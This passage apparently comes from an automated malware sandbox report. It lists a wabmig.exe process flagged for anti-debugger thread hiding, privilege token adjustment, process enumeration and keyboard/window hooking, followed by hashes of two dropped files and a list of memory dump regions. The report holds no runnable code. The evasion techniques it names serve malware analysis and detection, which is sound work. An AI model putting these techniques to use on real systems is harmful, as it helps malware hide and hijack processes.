            • C:\Program Files (x86)\windows mail\wabmig.exe
              "C:\Program Files (x86)\windows mail\wabmig.exe"
              5⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:2896

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yhg35bzh.n2p.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Fmc.Spn
      Filesize

      412KB

      MD5

      a7a07e3e61f4cc7add26d1d2c23b50bf

      SHA1

      7d63d7acb2ad8b5766ef97b28589ea6acdff58f7

      SHA256

      12748eb8fce4fd66ea6c6de22ee15f87f4fc911d40fd89c3cd0f1aeb0063af3a

      SHA512

      701899b76c64e27b987c6b50ec43c24b68c6b0583e8bece94818e3b9c92b3187ee092b3eb80d6c2d0d7aad612347d63b9abb3aa1d2f857b45eaefe0482af0e83

      Download Submit

    • memory/428-35-0x0000000006920000-0x000000000696C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/428-37-0x0000000006E60000-0x0000000006E7A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/428-36-0x0000000008160000-0x00000000087DA000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/428-42-0x0000000009340000-0x000000000B26C000-memory.dmp

      Filesize

      31.2MB

      Download

    • memory/428-40-0x0000000008D90000-0x0000000009334000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/428-39-0x0000000007B10000-0x0000000007B32000-memory.dmp

      Filesize

      136KB

      Download

    • memory/428-18-0x0000000005320000-0x0000000005356000-memory.dmp

      Filesize

      216KB

      Download

    • memory/428-19-0x0000000005A40000-0x0000000006068000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/428-20-0x0000000005A00000-0x0000000005A22000-memory.dmp

      Filesize

      136KB

      Download

    • memory/428-21-0x00000000060E0000-0x0000000006146000-memory.dmp

      Filesize

      408KB

      Download

    • memory/428-22-0x00000000061C0000-0x0000000006226000-memory.dmp

      Filesize

      408KB

      Download

    • memory/428-32-0x00000000062B0000-0x0000000006604000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/428-38-0x0000000007B80000-0x0000000007C16000-memory.dmp

      Filesize

      600KB

      Download

    • memory/428-34-0x0000000006900000-0x000000000691E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/1444-12-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1444-14-0x00007FFF29093000-0x00007FFF29095000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1444-0-0x00007FFF29093000-0x00007FFF29095000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1444-33-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1444-17-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1444-15-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1444-1-0x0000020B77C70000-0x0000020B77C92000-memory.dmp

      Filesize

      136KB

      Download

    • memory/1444-11-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1444-43-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/1444-62-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2896-58-0x0000000000E30000-0x0000000002084000-memory.dmp

      Filesize

      18.3MB

      Download

    • memory/2896-59-0x0000000000E30000-0x0000000000E70000-memory.dmp

      Filesize

      256KB

      Download

    • memory/2896-44-0x0000000002090000-0x0000000003FBC000-memory.dmp

      Filesize

      31.2MB

      Download

    • memory/2896-64-0x00000000224C0000-0x0000000022510000-memory.dmp

      Filesize

      320KB

      Download

    • memory/2896-65-0x00000000225B0000-0x0000000022642000-memory.dmp

      Filesize

      584KB

      Download

    • memory/2896-66-0x00000000224B0000-0x00000000224BA000-memory.dmp

      Filesize

      40KB

      Download